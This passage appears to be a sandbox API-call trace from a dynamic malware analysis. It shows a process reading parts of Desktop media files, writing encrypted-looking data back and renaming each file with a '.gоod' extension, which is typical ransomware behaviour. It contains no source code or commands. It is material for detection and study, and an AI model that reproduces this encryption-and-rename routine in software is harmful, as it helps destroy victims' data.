lpFileInformation=0x1f9ee750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37f16af0, ftCreationTime.dwHighDateTime=0x1d4d070, ftLastAccessTime.dwLowDateTime=0x553ec690, ftLastAccessTime.dwHighDateTime=0x1d4c614, ftLastWriteTime.dwLowDateTime=0x6f853564, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x18e8e)) returned 1 [0193.602] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee630) returned 1 [0193.602] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\FbuxnMa_peQfh.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\fbuxnma_peqfh.wav"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\FbuxnMa_peQfh.wav.gоod" (normalized: "c:\\users\\fd1hvy\\desktop\\fbuxnma_peqfh.wav.gоod")) returned 1 [0193.873] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\frost.exe", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\frost.exe", lpFilePart=0x0) returned 0x21 [0193.873] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee6b0) returned 1 [0193.873] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\frost.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\frost.exe"), fInfoLevelId=0x0, lpFileInformation=0x35799c0 | out: lpFileInformation=0x35799c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa9ae180, ftCreationTime.dwHighDateTime=0x1d5c5e3, ftLastAccessTime.dwLowDateTime=0xfa9ae180, ftLastAccessTime.dwHighDateTime=0x1d5c5e3, ftLastWriteTime.dwLowDateTime=0xf8d11e00, ftLastWriteTime.dwHighDateTime=0x1d5c5e3, nFileSizeHigh=0x0, nFileSizeLow=0x37e00)) returned 1 [0193.873] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee670) returned 1 [0193.873] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\frost.exe", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\frost.exe", lpFilePart=0x0) returned 0x21 [0193.873] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0193.873] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\frost.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\frost.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0194.247] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eafa0) returned 1 [0194.248] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\GtZeMZRE.png", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\GtZeMZRE.png", lpFilePart=0x0) returned 0x24 [0194.248] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee6b0) returned 1 [0194.248] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\GtZeMZRE.png" (normalized: "c:\\users\\fd1hvy\\desktop\\gtzemzre.png"), fInfoLevelId=0x0, lpFileInformation=0x36d4808 | out: lpFileInformation=0x36d4808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0514720, ftCreationTime.dwHighDateTime=0x1d4ce4c, ftLastAccessTime.dwLowDateTime=0xb7c42d30, ftLastAccessTime.dwHighDateTime=0x1d4c6e3, ftLastWriteTime.dwLowDateTime=0xb7c42d30, ftLastWriteTime.dwHighDateTime=0x1d4c6e3, nFileSizeHigh=0x0, nFileSizeLow=0xa5fe)) returned 1 [0194.249] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee670) returned 1 [0194.249] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\GtZeMZRE.png", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\GtZeMZRE.png", lpFilePart=0x0) returned 0x24 [0194.249] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0194.249] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\GtZeMZRE.png" (normalized: "c:\\users\\fd1hvy\\desktop\\gtzemzre.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0194.249] GetFileType (hFile=0x834) returned 0x1 [0194.249] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0194.249] GetFileType (hFile=0x834) returned 0x1 [0194.249] SetFilePointer (in: hFile=0x834, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x1000 [0194.249] ReadFile (in: hFile=0x834, lpBuffer=0x36d4ba0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee6d8, lpOverlapped=0x0 | out: lpBuffer=0x36d4ba0*, lpNumberOfBytesRead=0x1f9ee6d8*=0x1000, lpOverlapped=0x0) returned 1 [0194.250] CloseHandle (hObject=0x834) returned 1 [0194.250] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\GtZeMZRE.png", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\GtZeMZRE.png", lpFilePart=0x0) returned 0x24 [0194.250] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0194.250] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\GtZeMZRE.png" (normalized: "c:\\users\\fd1hvy\\desktop\\gtzemzre.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0194.250] GetFileType (hFile=0x834) returned 0x1 [0194.251] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0194.251] GetFileType (hFile=0x834) returned 0x1 [0194.251] SetFilePointer (in: hFile=0x834, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0xa5fe [0194.251] WriteFile (in: hFile=0x834, lpBuffer=0x36d5df8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9ee5f8, lpOverlapped=0x0 | out: lpBuffer=0x36d5df8*, lpNumberOfBytesWritten=0x1f9ee5f8*=0x10, lpOverlapped=0x0) returned 1 [0194.251] CloseHandle (hObject=0x834) returned 1 [0194.496] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\GtZeMZRE.png", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\GtZeMZRE.png", lpFilePart=0x0) returned 0x24 [0194.496] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0194.496] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\GtZeMZRE.png" (normalized: "c:\\users\\fd1hvy\\desktop\\gtzemzre.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0194.496] GetFileType (hFile=0x7c8) returned 0x1 [0194.496] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0194.496] GetFileType (hFile=0x7c8) returned 0x1 [0194.496] ReadFile (in: hFile=0x7c8, lpBuffer=0x3573928, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee688, lpOverlapped=0x0 | out: lpBuffer=0x3573928*, lpNumberOfBytesRead=0x1f9ee688*=0x1000, lpOverlapped=0x0) returned 1 [0194.523] CloseHandle (hObject=0x7c8) returned 1 [0194.523] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\GtZeMZRE.png", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\GtZeMZRE.png", lpFilePart=0x0) returned 0x24 [0194.523] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0194.523] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\GtZeMZRE.png" (normalized: "c:\\users\\fd1hvy\\desktop\\gtzemzre.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0194.523] GetFileType (hFile=0x7c8) returned 0x1 [0194.523] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0194.523] GetFileType (hFile=0x7c8) returned 0x1 [0194.523] WriteFile (in: hFile=0x7c8, lpBuffer=0x35726c0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9ee738, lpOverlapped=0x0 | out: lpBuffer=0x35726c0*, lpNumberOfBytesWritten=0x1f9ee738*=0x1010, lpOverlapped=0x0) returned 1 [0194.523] CloseHandle (hObject=0x7c8) returned 1 [0194.560] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\GtZeMZRE.png", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\GtZeMZRE.png", lpFilePart=0x0) returned 0x24 [0194.560] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\GtZeMZRE.png.gоod", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\GtZeMZRE.png.gоod", lpFilePart=0x0) returned 0x29 [0194.560] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee670) returned 1 [0194.560] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\GtZeMZRE.png" (normalized: "c:\\users\\fd1hvy\\desktop\\gtzemzre.png"), fInfoLevelId=0x0, lpFileInformation=0x1f9ee750 | out: lpFileInformation=0x1f9ee750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0514720, ftCreationTime.dwHighDateTime=0x1d4ce4c, ftLastAccessTime.dwLowDateTime=0xb7c42d30, ftLastAccessTime.dwHighDateTime=0x1d4c6e3, ftLastWriteTime.dwLowDateTime=0x7027d8a6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xa60e)) returned 1 [0194.560] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee630) returned 1 [0194.560] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\GtZeMZRE.png" (normalized: "c:\\users\\fd1hvy\\desktop\\gtzemzre.png"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\GtZeMZRE.png.gоod" (normalized: "c:\\users\\fd1hvy\\desktop\\gtzemzre.png.gоod")) returned 1 [0194.576] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\Gx-wgH_OvpW.mp3", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\Gx-wgH_OvpW.mp3", lpFilePart=0x0) returned 0x27 [0194.576] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee6b0) returned 1 [0194.576] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\Gx-wgH_OvpW.mp3" (normalized: "c:\\users\\fd1hvy\\desktop\\gx-wgh_ovpw.mp3"), fInfoLevelId=0x0, lpFileInformation=0x35f0c68 | out: lpFileInformation=0x35f0c68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26fdc7a0, ftCreationTime.dwHighDateTime=0x1d4cc21, ftLastAccessTime.dwLowDateTime=0xb56f5390, ftLastAccessTime.dwHighDateTime=0x1d4ca0b, ftLastWriteTime.dwLowDateTime=0xb56f5390, ftLastWriteTime.dwHighDateTime=0x1d4ca0b, nFileSizeHigh=0x0, nFileSizeLow=0xc876)) returned 1 [0194.576] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee670) returned 1 [0194.576] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\Gx-wgH_OvpW.mp3", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\Gx-wgH_OvpW.mp3", lpFilePart=0x0) returned 0x27 [0194.576] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0194.576] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\Gx-wgH_OvpW.mp3" (normalized: "c:\\users\\fd1hvy\\desktop\\gx-wgh_ovpw.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0194.577] GetFileType (hFile=0x7c8) returned 0x1 [0194.577] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0194.577] GetFileType (hFile=0x7c8) returned 0x1 [0194.577] SetFilePointer (in: hFile=0x7c8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x1000 [0194.577] ReadFile (in: hFile=0x7c8, lpBuffer=0x35f1000, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee6d8, lpOverlapped=0x0 | out: lpBuffer=0x35f1000*, lpNumberOfBytesRead=0x1f9ee6d8*=0x1000, lpOverlapped=0x0) returned 1 [0194.578] CloseHandle (hObject=0x7c8) returned 1 [0194.578] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\Gx-wgH_OvpW.mp3", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\Gx-wgH_OvpW.mp3", lpFilePart=0x0) returned 0x27 [0194.578] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0194.578] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\Gx-wgH_OvpW.mp3" (normalized: "c:\\users\\fd1hvy\\desktop\\gx-wgh_ovpw.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0194.578] GetFileType (hFile=0x7c8) returned 0x1 [0194.578] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0194.578] GetFileType (hFile=0x7c8) returned 0x1 [0194.578] SetFilePointer (in: hFile=0x7c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0xc876 [0194.578] WriteFile (in: hFile=0x7c8, lpBuffer=0x35f2258*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9ee5f8, lpOverlapped=0x0 | out: lpBuffer=0x35f2258*, lpNumberOfBytesWritten=0x1f9ee5f8*=0x10, lpOverlapped=0x0) returned 1 [0194.578] CloseHandle (hObject=0x7c8) returned 1 [0194.610] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\Gx-wgH_OvpW.mp3", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\Gx-wgH_OvpW.mp3", lpFilePart=0x0) returned 0x27 [0194.610] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0194.610] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\Gx-wgH_OvpW.mp3" (normalized: "c:\\users\\fd1hvy\\desktop\\gx-wgh_ovpw.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0194.610] GetFileType (hFile=0x7c8) returned 0x1 [0194.610] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0194.610] GetFileType (hFile=0x7c8) returned 0x1 [0194.610] ReadFile (in: hFile=0x7c8, lpBuffer=0x35f44d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee688, lpOverlapped=0x0 | out: lpBuffer=0x35f44d8*, lpNumberOfBytesRead=0x1f9ee688*=0x1000, lpOverlapped=0x0) returned 1 [0194.639] CloseHandle (hObject=0x7c8) returned 1 [0194.639] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\Gx-wgH_OvpW.mp3", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\Gx-wgH_OvpW.mp3", lpFilePart=0x0) returned 0x27 [0194.639] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0194.639] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\Gx-wgH_OvpW.mp3" (normalized: "c:\\users\\fd1hvy\\desktop\\gx-wgh_ovpw.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0194.639] GetFileType (hFile=0x7c8) returned 0x1 [0194.639] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0194.640] GetFileType (hFile=0x7c8) returned 0x1 [0194.640] WriteFile (in: hFile=0x7c8, lpBuffer=0x35f3270*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9ee738, lpOverlapped=0x0 | out: lpBuffer=0x35f3270*, lpNumberOfBytesWritten=0x1f9ee738*=0x1010, lpOverlapped=0x0) returned 1 [0194.640] CloseHandle (hObject=0x7c8) returned 1 [0195.720] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\Gx-wgH_OvpW.mp3", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\Gx-wgH_OvpW.mp3", lpFilePart=0x0) returned 0x27 [0195.720] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\Gx-wgH_OvpW.mp3.gоod", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\Gx-wgH_OvpW.mp3.gоod", lpFilePart=0x0) returned 0x2c [0195.720] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee670) returned 1 [0195.720] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\Gx-wgH_OvpW.mp3" (normalized: "c:\\users\\fd1hvy\\desktop\\gx-wgh_ovpw.mp3"), fInfoLevelId=0x0, lpFileInformation=0x1f9ee750 | out: lpFileInformation=0x1f9ee750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26fdc7a0, ftCreationTime.dwHighDateTime=0x1d4cc21, ftLastAccessTime.dwLowDateTime=0xb56f5390, ftLastAccessTime.dwHighDateTime=0x1d4ca0b, ftLastWriteTime.dwLowDateTime=0x703aeb08, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xc886)) returned 1 [0195.730] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee630) returned 1 [0195.730] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\Gx-wgH_OvpW.mp3" (normalized: "c:\\users\\fd1hvy\\desktop\\gx-wgh_ovpw.mp3"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\Gx-wgH_OvpW.mp3.gоod" (normalized: "c:\\users\\fd1hvy\\desktop\\gx-wgh_ovpw.mp3.gоod")) returned 1 [0195.731] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\HiDyxzh7PeBvTBY.jpg", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\HiDyxzh7PeBvTBY.jpg", lpFilePart=0x0) returned 0x2b [0195.731] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee6b0) returned 1 [0195.731] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\HiDyxzh7PeBvTBY.jpg" (normalized: "c:\\users\\fd1hvy\\desktop\\hidyxzh7pebvtby.jpg"), fInfoLevelId=0x0, lpFileInformation=0x3620560 | out: lpFileInformation=0x3620560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdaa2b6a0, ftCreationTime.dwHighDateTime=0x1d4cf35, ftLastAccessTime.dwLowDateTime=0xe4552340, ftLastAccessTime.dwHighDateTime=0x1d4ca7b, ftLastWriteTime.dwLowDateTime=0xe4552340, ftLastWriteTime.dwHighDateTime=0x1d4ca7b, nFileSizeHigh=0x0, nFileSizeLow=0x20d2)) returned 1 [0195.731] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee670) returned 1 [0195.731] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\HiDyxzh7PeBvTBY.jpg", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\HiDyxzh7PeBvTBY.jpg", lpFilePart=0x0) returned 0x2b [0195.731] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0195.731] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\HiDyxzh7PeBvTBY.jpg" (normalized: "c:\\users\\fd1hvy\\desktop\\hidyxzh7pebvtby.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x838 [0195.732] GetFileType (hFile=0x838) returned 0x1 [0195.732] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0195.732] GetFileType (hFile=0x838) returned 0x1 [0195.732] SetFilePointer (in: hFile=0x838, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x1000 [0195.732] ReadFile (in: hFile=0x838, lpBuffer=0x3620918, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee6d8, lpOverlapped=0x0 | out: lpBuffer=0x3620918*, lpNumberOfBytesRead=0x1f9ee6d8*=0x1000, lpOverlapped=0x0) returned 1 [0195.733] CloseHandle (hObject=0x838) returned 1 [0195.733] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\HiDyxzh7PeBvTBY.jpg", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\HiDyxzh7PeBvTBY.jpg", lpFilePart=0x0) returned 0x2b [0195.733] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0195.733] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\HiDyxzh7PeBvTBY.jpg" (normalized: "c:\\users\\fd1hvy\\desktop\\hidyxzh7pebvtby.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x838 [0195.733] GetFileType (hFile=0x838) returned 0x1 [0195.733] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0195.733] GetFileType (hFile=0x838) returned 0x1 [0195.733] SetFilePointer (in: hFile=0x838, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x20d2 [0195.733] WriteFile (in: hFile=0x838, lpBuffer=0x3621b80*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9ee5f8, lpOverlapped=0x0 | out: lpBuffer=0x3621b80*, lpNumberOfBytesWritten=0x1f9ee5f8*=0x10, lpOverlapped=0x0) returned 1 [0195.733] CloseHandle (hObject=0x838) returned 1 [0195.733] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\HiDyxzh7PeBvTBY.jpg", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\HiDyxzh7PeBvTBY.jpg", lpFilePart=0x0) returned 0x2b [0195.733] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0195.733] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\HiDyxzh7PeBvTBY.jpg" (normalized: "c:\\users\\fd1hvy\\desktop\\hidyxzh7pebvtby.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x838 [0195.734] GetFileType (hFile=0x838) returned 0x1 [0195.734] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0195.734] GetFileType (hFile=0x838) returned 0x1 [0195.734] ReadFile (in: hFile=0x838, lpBuffer=0x3623e10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee688, lpOverlapped=0x0 | out: lpBuffer=0x3623e10*, lpNumberOfBytesRead=0x1f9ee688*=0x1000, lpOverlapped=0x0) returned 1 [0195.762] CloseHandle (hObject=0x838) returned 1 [0195.762] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\HiDyxzh7PeBvTBY.jpg", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\HiDyxzh7PeBvTBY.jpg", lpFilePart=0x0) returned 0x2b [0195.762] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0195.762] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\HiDyxzh7PeBvTBY.jpg" (normalized: "c:\\users\\fd1hvy\\desktop\\hidyxzh7pebvtby.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x838 [0195.762] GetFileType (hFile=0x838) returned 0x1 [0195.762] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0195.762] GetFileType (hFile=0x838) returned 0x1 [0195.762] WriteFile (in: hFile=0x838, lpBuffer=0x3622b98*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9ee738, lpOverlapped=0x0 | out: lpBuffer=0x3622b98*, lpNumberOfBytesWritten=0x1f9ee738*=0x1010, lpOverlapped=0x0) returned 1 [0195.762] CloseHandle (hObject=0x838) returned 1 [0195.762] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\HiDyxzh7PeBvTBY.jpg", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\HiDyxzh7PeBvTBY.jpg", lpFilePart=0x0) returned 0x2b [0195.762] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\HiDyxzh7PeBvTBY.jpg.gоod", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\HiDyxzh7PeBvTBY.jpg.gоod", lpFilePart=0x0) returned 0x30 [0195.762] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee670) returned 1 [0195.762] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\HiDyxzh7PeBvTBY.jpg" (normalized: "c:\\users\\fd1hvy\\desktop\\hidyxzh7pebvtby.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1f9ee750 | out: 